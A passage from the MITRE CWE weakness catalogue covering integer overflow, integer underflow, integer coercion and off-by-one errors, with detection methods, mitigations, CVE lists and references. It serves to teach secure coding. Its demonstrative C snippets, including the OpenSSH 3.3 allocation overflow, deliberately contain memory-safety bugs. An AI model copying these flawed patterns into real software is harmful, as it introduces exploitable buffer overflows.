Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability *This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.*	
Integrity	Modify Memory *If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.*	
Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism *This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.*	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Effectiveness = High

Black Box

Sometimes, evidence of this weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

Effectiveness = High

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. If possible, choose a language or compiler that performs automatic bounds checking.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]

Phase: Implementation

Strategy = Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range. Use unsigned integers where possible. This makes it easier to perform sanity checks for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.

Phase: Implementation

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy = Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Demonstrative Examples

Example 1:

The following image processing code allocates a table for images.

Example Language: C *(bad)*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2:

The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow:

Example Language: C *(bad)*

```
nresp = packet_get_int();
if (nresp > 0) {
    response = xmalloc(nresp*sizeof(char*));
    for (i = 0; i < nresp; i++) response[i] = packet_get_string(NULL);
}
```

If nresp has the value 1073741824 and sizeof(char*) has its typical value of 4, then the result of the operation nresp*sizeof(char*) overflows, and the argument to xmalloc() will be 0. Most malloc() implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response.

Example 3:

Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior:

Example Language: C *(bad)*

```
short int bytesRec = 0;
char buf[SOMEBIGNUM];
while(bytesRec < MAXGET) {
    bytesRec += getFromInput(buf+bytesRec);
}
```

In the above case, it is entirely possible that bytesRec may overflow, continuously creating a lower number than MAXGET and also overwriting the first MAXGET-1 bytes of buf.

Example 4:

In this example the method determineFirstQuarterRevenue is used to determine the first quarter revenue for an accounting/business application. The method retrieves the monthly sales totals for the first three months of the year, calculates the first quarter sales totals from the monthly sales totals, calculates the first quarter revenue based on the first quarter sales, and finally saves the first quarter revenue results to the database.

Example Language: C *(bad)*

```
#define JAN 1
#define FEB 2
#define MAR 3
short getMonthlySales(int month) {...}
float calculateRevenueForQuarter(short quarterSold) {...}
int determineFirstQuarterRevenue() {
    // Variable for sales revenue for the quarter
    float quarterRevenue = 0.0f;
    short JanSold = getMonthlySales(JAN); /* Get sales in January */
    short FebSold = getMonthlySales(FEB); /* Get sales in February */
    short MarSold = getMonthlySales(MAR); /* Get sales in March */
    // Calculate quarterly total
    short quarterSold = JanSold + FebSold + MarSold;
    // Calculate the total revenue for the quarter
    quarterRevenue = calculateRevenueForQuarter(quarterSold);
    saveFirstQuarterRevenue(quarterRevenue);
    return 0;
}
```

However, in this example the primitive type short int is used for both the monthly and the quarterly sales variables. In C the short int primitive type has a maximum value of 32768. This creates a potential integer overflow if the value for the three monthly sales adds up to more than the maximum value for the short int primitive type. An integer overflow can lead to data corruption, unexpected behavior, infinite loops and system crashes. To correct the situation the appropriate primitive type should be used, as in the example below, and/or provide some validation mechanism to ensure that the maximum value for the primitive type is not exceeded.

Example Language: C *(good)*

```
...
float calculateRevenueForQuarter(long quarterSold) {...}
int determineFirstQuarterRevenue() {
    ...
    // Calculate quarterly total
    long quarterSold = JanSold + FebSold + MarSold;
    // Calculate the total revenue for the quarter
    quarterRevenue = calculateRevenueForQuarter(quarterSold);
    ...
}
```

Note that an integer overflow could also occur if the quarterSold variable has a primitive type long but the method calculateRevenueForQuarter has a parameter of type short.

Observed Examples

Reference	Description
CVE-2018-10887	Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10887*
CVE-2019-1010006	Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1010006*
CVE-2010-2753	chain: integer overflow leads to use-after-free *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2753*
CVE-2002-0391	Integer overflow via a large number of arguments. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0391*
CVE-2002-0639	Integer overflow in OpenSSH as listed in the demonstrative examples. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0639*
CVE-2005-1141	Image with large width and height leads to integer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1141*
CVE-2005-0102	Length value of -1 leads to allocation of 0 bytes and resultant heap overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0102*
CVE-2004-2013	Length value of -1 leads to allocation of 0 bytes and resultant heap overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2013*
CVE-2017-1000121	chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000121*

Functional Areas

- Number Processing
- Memory Management
- Counters

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	1882
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	1895
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	1911
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1914
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1133	1985
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	1995
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998

Nature	Type	ID	Name	V	Page
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Relationship

Integer overflows can be primary to buffer overflows.

Terminology

"Integer overflow" is sometimes used to cover several types of errors, including signedness errors, or buffer overflows that involve manipulation of integer data types instead of characters. Part of the confusion results from the fact that 0xffffffff is -1 in a signed context. Other confusion also arises because of the role that integer overflows have in chains.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Integer overflow (wrap or wraparound)
7 Pernicious Kingdoms			Integer Overflow
CLASP			Integer overflow
CERT C Secure Coding	INT18-C	CWE More Abstract	Evaluate integer expressions in a larger size before comparing or assigning to that size
CERT C Secure Coding	INT30-C	CWE More Abstract	Ensure that unsigned integer operations do not wrap
CERT C Secure Coding	INT32-C	Imprecise	Ensure that operations on signed integers do not result in overflow
CERT C Secure Coding	INT35-C		Evaluate integer expressions in a larger size before comparing or assigning to that size
CERT C Secure Coding	MEM07-C	CWE More Abstract	Ensure that the arguments to calloc(), when multiplied, do not wrap
CERT C Secure Coding	MEM35-C		Allocate sufficient memory for an object
WASC	3		Integer Overflows
Software Fault Patterns	SFP1		Glitch in computation

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
92	Forced Integer Overflow

References

[REF-145]Yves Younan. "An overview of common programming security vulnerabilities and possible solutions". Student thesis section 5.4.3. 2003 August. < http://fort-knox.org/thesis.pdf >.

[REF-146]blexim. "Basic Integer Overflows". Phrack - Issue 60, Chapter 10. < http://www.phrack.org/issues.html?issue=60&id=10#article >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-106]David LeBlanc and Niels Dekker. "SafeInt". < http://safeint.codeplex.com/ >.

[REF-150]Johannes Ullrich. "Top 25 Series - Rank 17 - Integer Overflow Or Wraparound". 2010 March 8. SANS Software Security Institute. < http://software-security.sans.org/blog/2010/03/18/top-25-series-rank-17-integer-overflow-or-wraparound >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-191: Integer Underflow (Wrap or Wraparound)

Weakness ID : 191 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.

Extended Description

This can happen in signed and unsigned cases.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	1852

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Alternate Terms

Integer underflow : "Integer underflow" is sometimes used to identify signedness errors in which an originally positive number becomes negative as a result of subtraction. However, there are cases of bad subtraction in which unsigned integers are involved, so it's not always a signedness issue. "Integer underflow" is occasionally used to describe array index errors in which the index is negative.

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability *This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.*	
Integrity	Modify Memory *If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.*	
Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism *This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.*	

Demonstrative Examples

Example 1:

The following example subtracts from a 32 bit signed integer.

Example Language: C *(bad)*

```
#include <stdio.h>
#include <stdbool.h>
main (void)
{
    int i;
    i = -2147483648;
    i = i - 1;
    return 0;
}
```

The example has an integer underflow. The value of i is already at the lowest negative value possible, so after subtracting 1, the new value of i is 2147483647.

Observed Examples

Reference	Description
CVE-2004-0816	Integer underflow in firewall via malformed packet. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0816*
CVE-2004-1002	Integer underflow by packet with invalid length. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1002*
CVE-2005-0199	Long input causes incorrect length calculation. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0199*
CVE-2005-1891	Malformed icon causes integer underflow in loop counter variable. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1891*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1133	1985
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	1995

Notes

Research Gap

Under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Integer underflow (wrap or wraparound)
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	INT30-C	Imprecise	Ensure that unsigned integer operations do not wrap
CERT C Secure Coding	INT32-C	Imprecise	Ensure that operations on signed integers do not result in overflow

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-192: Integer Coercion Error

Weakness ID : 192 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Integer coercion refers to a set of flaws pertaining to the type casting, extension, or truncation of primitive data types.

Extended Description

Several flaws fall under the category of integer coercion errors. For the most part, these errors in and of themselves result only in availability and data integrity issues. However, in some circumstances, they may result in other, more complicated security related flaws, such as buffer overflow conditions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	681	Incorrect Conversion between Numeric Types	1322

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	1852

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Crash, Exit, or Restart *Integer coercion often leads to undefined states of execution resulting in infinite loops or crashes.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *In some cases, integer coercion errors can lead to exploitable buffer overflow conditions, resulting in the execution of arbitrary code.*	
Integrity Other	Other *Integer coercion errors result in an incorrect value being stored for the variable in question.*	

Potential Mitigations

Phase: Requirements

A language which throws exceptions on ambiguous data casts might be chosen.

Phase: Architecture and Design

Design objects and program flow such that multiple or complex casts are unnecessary

Phase: Implementation

Ensure that any data type casting that you must used is entirely understood in order to reduce the plausibility of error in use.

Demonstrative Examples

Example 1:

The following code is intended to read an incoming packet from a socket and extract one or more headers.

Example Language: C *(bad)*

```
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 2:

The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

Example Language: C *(bad)*

```
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!\n");
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
    printf("i=%d, s=%d, sz=%u\n", i, s, sz);
    input = GetUserInput("Enter pathname:");
    /* strncpy interprets s as unsigned int, so it's treated as MAX_INT
    (CWE-195), enabling buffer overflow (CWE-119) */
    strncpy(path, input, s);
    path[255] = '\0'; /* don't want CWE-170 */
    printf("Path is: %s\n", path);
}
```

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	1882
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1914
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	1995

Notes

Maintenance

Within C, it might be that "coercion" is semantically different than "casting", possibly depending on whether the programmer directly specifies the conversion, or if the compiler does it implicitly. This has implications for the presentation of this node and others, such as CWE-681, and whether there is enough of a difference for these nodes to be split.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Integer coercion error
CERT C Secure Coding	INT02-C		Understand integer conversion rules
CERT C Secure Coding	INT05-C		Do not use input functions to convert character data if they cannot handle all possible inputs
CERT C Secure Coding	INT31-C	Exact	Ensure that integer conversions do not result in lost or misinterpreted data

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-193: Off-by-one Error

Weakness ID : 193 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
CanPrecede	B	170	Improper Null Termination	395
CanPrecede	B	617	Reachable Assertion	1224

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	1852

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

off-by-five : An "off-by-five" error was reported for sudo in 2002 (CVE-2002-0184), but that is more like a "length calculation" error.

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability *This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.*	
Integrity	Modify Memory *If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.*	
Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism *This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.*	

Potential Mitigations

Phase: Implementation

When copying character arrays or using character manipulation methods, the correct size parameter must be used to account for the null terminator that needs to be added at the end of the array. Some examples of functions susceptible to this weakness in C include strcpy(), strncpy(), strcat(), strncat(), printf(), sprintf(), scanf() and sscanf().

Demonstrative Examples

Example 1:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

Example Language: C *(bad)*

```
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
```

```
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error. It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an off-by-one buffer overflow when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 2:

In this example, the code does not account for the terminating null character, and it writes one byte beyond the end of the buffer.

The first call to strncat() appends up to 20 characters plus a terminating null character to fullname[]. There is plenty of allocated space for this, and there is no weakness associated with this first call. However, the second call to strncat() potentially appends another 20 characters. The code does not account for the terminating null character that is automatically added by strncat(). This terminating null character would be written one byte beyond the end of the fullname[] buffer. Therefore an off-by-one error exists with the second strncat() call, as the third argument should be 19.

Example Language: C *(bad)*

```
char firstname[20];
char lastname[20];
char fullname[40];
fullname[0] = '\0';
strncat(fullname, firstname, 20);
strncat(fullname, lastname, 20);
```

When using a function like strncat() one must leave a free byte at the end of the buffer for a terminating null character, thus avoiding the off-by-one weakness. Additionally, the last argument to strncat() is the number of characters to append, which must be less than the remaining space in the buffer. Be careful not to just use the total size of the buffer.

Example Language: C *(good)*

```
char firstname[20];
char lastname[20];
char fullname[40];
fullname[0] = '\0';
strncat(fullname, firstname, sizeof(fullname)-strlen(fullname)-1);
strncat(fullname, lastname, sizeof(fullname)-strlen(fullname)-1);
```

Example 3:

The Off-by-one error can also be manifested when reading characters from a character array within a for loop that has an incorrect continuation condition.

Example Language: C *(bad)*

```
#define PATH_SIZE 60
char filename[PATH_SIZE];
for(i=0; i<=PATH_SIZE; i++) {
    char c = getc();
    if (c == 'EOF') {
        filename[i] = '\0';
    }
    filename[i] = getc();
}
```

In this case, the correct continuation condition is shown below.

Example Language: C *(good)*

```
for(i=0; i<PATH_SIZE; i++) {
...
```

Example 4:

As another example the Off-by-one error can occur when using the sprintf library function to copy a string variable to a formatted string variable and the original string variable comes from an untrusted source. As in the following example where a local function, setFilename is used to store the value of a filename to a database but first uses sprintf to format the filename. The setFilename function includes an input parameter with the name of the file that is used as the copy source in the sprintf function. The sprintf function will copy the file name to a char array of size 20 and specifies the format of the new variable as 16 characters followed by the file extension .dat.

Example Language: C *(bad)*

```
int setFilename(char *filename) {
    char name[20];
    sprintf(name, "%16s.dat", filename);
    int success = saveFormattedFilenameToDB(name);
    return success;
}
```

However this will cause an Off-by-one error if the original filename is exactly 16 characters or larger because the format of 16 characters with the file extension is exactly 20 characters and does not take into account the required null terminator that will be placed at the end of the string.

Observed Examples

Reference	Description
CVE-2003-0252	Off-by-one error allows remote attackers to cause a denial of service and possibly execute arbitrary code via requests that do not contain newlines. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0252*
CVE-2001-1391	Off-by-one vulnerability in driver allows users to modify kernel memory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1391*
CVE-2002-0083	Off-by-one error allows local users or remote malicious servers to gain privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0083*
CVE-2002-0653	Off-by-one buffer overflow in function usd by server allows local users to execute arbitrary code as the server user via .htaccess files with long entries. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0653*
CVE-2002-0844	Off-by-one buffer overflow in version control system allows local users to execute arbitrary code. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0844*
CVE-1999-1568	Off-by-one error in FTP server allows a remote attacker to cause a denial of service (crash) via a long PORT command. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1568*
CVE-2004-0346	Off-by-one buffer overflow in FTP server allows local users to gain privileges via a 1024 byte RETR command. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0346*
CVE-2004-0005	Multiple buffer overflows in chat client allow remote attackers to cause a denial of service and possibly execute arbitrary code. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0005*
CVE-2003-0356	Multiple off-by-one vulnerabilities in product allow remote attackers to cause a denial of service and possibly execute arbitrary code. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0356*

Reference	Description
CVE-2001-1496	Off-by-one buffer overflow in server allows remote attackers to cause a denial of service and possibly execute arbitrary code. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1496*
CVE-2004-0342	This is an interesting example that might not be an off-by-one. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0342*
CVE-2001-0609	An off-by-one enables a terminating null to be overwritten, which causes 2 strings to be merged and enable a format string. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0609*
CVE-2002-1745	Off-by-one error allows source code disclosure of files with 4 letter extensions that match an accepted 3-letter extension. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1745*
CVE-2002-1816	Off-by-one buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1816*
CVE-2002-1721	Off-by-one error causes an snprintf call to overwrite a critical internal variable with a null value. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1721*
CVE-2003-0466	Off-by-one error in function used in many products leads to a buffer overflow during pathname management, as demonstrated using multiple commands in an FTP server. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0466*
CVE-2003-0625	Off-by-one error allows read of sensitive memory via a malformed request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0625*
CVE-2006-4574	Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4574*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
